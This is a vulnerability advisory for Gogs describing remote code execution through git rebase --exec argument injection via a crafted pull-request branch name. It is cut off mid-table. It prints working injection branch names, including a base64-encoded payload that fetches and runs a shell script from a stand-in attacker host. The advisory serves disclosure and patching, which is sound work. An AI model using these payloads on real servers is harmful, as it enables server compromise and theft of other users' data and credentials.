Server side template injection In gogs.io/gogs
Description
Gogs vulnerable to RCE via git rebase --exec argument injection in pull request merge # Gogs: RCE via git rebase --exec Argument Injection in PR Merge ## Summary Gogs allows authenticated users to achieve Remote Code Execution (RCE) on the server by creating a pull request with a specially crafted branch name that injects the --exec flag into the git rebase command during the "Rebase before merging" merge operation. ## Severity Critical - CVSS 3.1 Base Score: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) ## Affected Versions - Gogs 0.14.2 (latest supported release) - Gogs 0.15.0+dev (commit b53d3162, main branch as of 2026-03-16) - All prior versions that support the "Rebase before merging" merge style ## Impact This is a privilege escalation from authenticated user to server-level code execution. The attacker uses their own repository as the delivery mechanism - the target is not the repository but the Gogs server itself. On any multi-tenant Gogs instance (company, university, open source hosting), this gives one authenticated user full control of the underlying server: - Server compromise: Arbitrary command execution as the Gogs process user - Cross-tenant data breach: Read ALL repositories on the instance, including other users' private repos - Credential theft: Access the database containing password hashes, API tokens, SSH keys, and 2FA secrets for every user - Lateral movement: Pivot to other systems accessible from the server's network - Supply chain attacks: Silently modify any hosted repository's code. The Gogs process user (typically git) has direct filesystem-level read/write access to every repository on the instance under a single REPOSITORY_ROOT directory (default: ~/gogs-repositories). There is no OS-level isolation between repositories; all access control is application-layer only. The vulnerability affects all supported platforms (Linux, macOS, Windows) and installation methods (pre-built binary, Docker, source). On Docker installations, the Gogs process runs as the git user (UID 1000 by default). The severity is heightened because: - Open registration by default: Gogs ships with DISABLE_REGISTRATION = false, meaning anyone can create an account on a default-configured instance - effectively making this exploitable by an unauthenticated attacker. - No admin required: Any user who creates a repository is automatically its admin. Enabling rebase is a single toggle in Settings > Advanced - no site-admin intervention, no special permissions, and no interaction with other users required. The attacker creates a repo, enables rebase, and exploits, all within their own account. (Note: PullsAllowRebase defaults to false, but this is irrelevant since any repo creator can enable it themselves.) - The attacker operates entirely within their own repo - no interaction with or access to other users' repos is needed to trigger the exploit - The exploit is fully automatable (see PoC) - The exploit leaves minimal traces (a 500 error in server logs, easily missed) ## Prerequisites The attacker needs one of the following: - Repo admin/owner on any repository (can enable rebase + create PR + merge) - any user who creates a repo has this by default - Write access to a repository where "Rebase before merging" is already enabled by the owner (can create malicious branch + PR + merge) Note: "Rebase before merging" is NOT enabled by default (PullsAllowRebase defaults to false in internal/database/repo.go:215). However: - Any user who creates their own repository is admin of that repo and can enable rebase via Settings > Advanced - The repo settings endpoint (/settings, action=advanced) requires reqRepoAdmin middleware (internal/cmd/web.go:472) - collaborators with only write access cannot enable it, but repo owners/admins can - Many organizations enable rebase merge as a standard practice ## Root Cause Analysis In internal/database/pull.go, the Merge() function passes the PR's base branch name to git rebase as a positional argument without a -- separator: go if _, stderr, err = process.ExecDir(-1, tmpBasePath, fmt.Sprintf("PullRequest.Merge (git rebase): %s", tmpBasePath), "git", "rebase", "--quiet", pr.BaseBranch, remoteHeadBranch); err != nil { The pr.BaseBranch value originates from the URL parameter in internal/route/repo/pull.go: go baseRef := infos[0] // from strings.Split(c.Params("*"), "...") Both baseRef and headRef are validated via RevParse (defined in the external git-module library), but this only calls git rev-parse --verify <ref> - it checks that the ref resolves to a valid git object, not that it is safe against argument injection. Since the attacker pushes the malicious branch name to the repository, RevParse succeeds because the ref genuinely exists. The value is stored in the database and later passed as-is to the git rebase command without a -- separator. ## Exploitation Git branch names can legally contain characters $, {, }, =, -. The attacker creates a branch named: bash --exec=touch${IFS}/tmp/rce_proof When used as pr.BaseBranch in the rebase command: bash git rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature' 1. Git's argument parser treats --exec=touch${IFS}/tmp/rce_proof as the --exec flag 2. The --exec flag specifies a command to run via sh -c after each replayed commit 3. ${IFS} expands to a space in the shell, bypassing git's prohibition on spaces in branch names 4. The command touch /tmp/rce_proof executes as the Gogs server process user For commands containing characters forbidden in git refs (:, ~, ^, ?, *, [, \, //), such as URLs, the attacker base64-encodes the payload: bash --exec=echo${IFS}<base64>|base64${IFS}-d|sh For example, curl https://attacker.com/shell.sh|sh becomes: bash --exec=echo${IFS}Y3VybCBodHRwczovL2F0dGFja2VyLmNvbS9zaGVsbC5zaHxzaA==|base64${IFS}-d|sh This was validated end-to-end: a wget command with a URL executed inside the Docker container and wrote the fetched HTML to disk. ### Full Execution Flow in Merge() The MergeStyleRebase code path in Merge() executes these git commands sequentially: | Step | Command | Result with malicious branch | | ---------------------------------------------------------------------------------- | --------------------------------------------------------- | ---------------------------------------------------------------------------- | | 1 | git clone -b '<malicious>' <repo> <tmp> | Succeeds - -b consumes --exec=... as the branch value | | 2 | git remote add head_repo <repo> + git fetch head_repo | Succeeds normally | | 3 | git rebase --quiet '<malicious>' 'head_repo/feature' | RCE fires here - --exec=<cmd> parsed as flag, command runs via sh -c | | 4 | git checkout -b <tmpBranch> | Succeeds (tmpBranch is a server-generated timestamp) | | 5 | git checkout '<malicious>' | Fails - git interprets --exec=...
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Package | Affected version | Patched versions |
|---|---|---|---|
go | 0.14.3 |
Aliases
References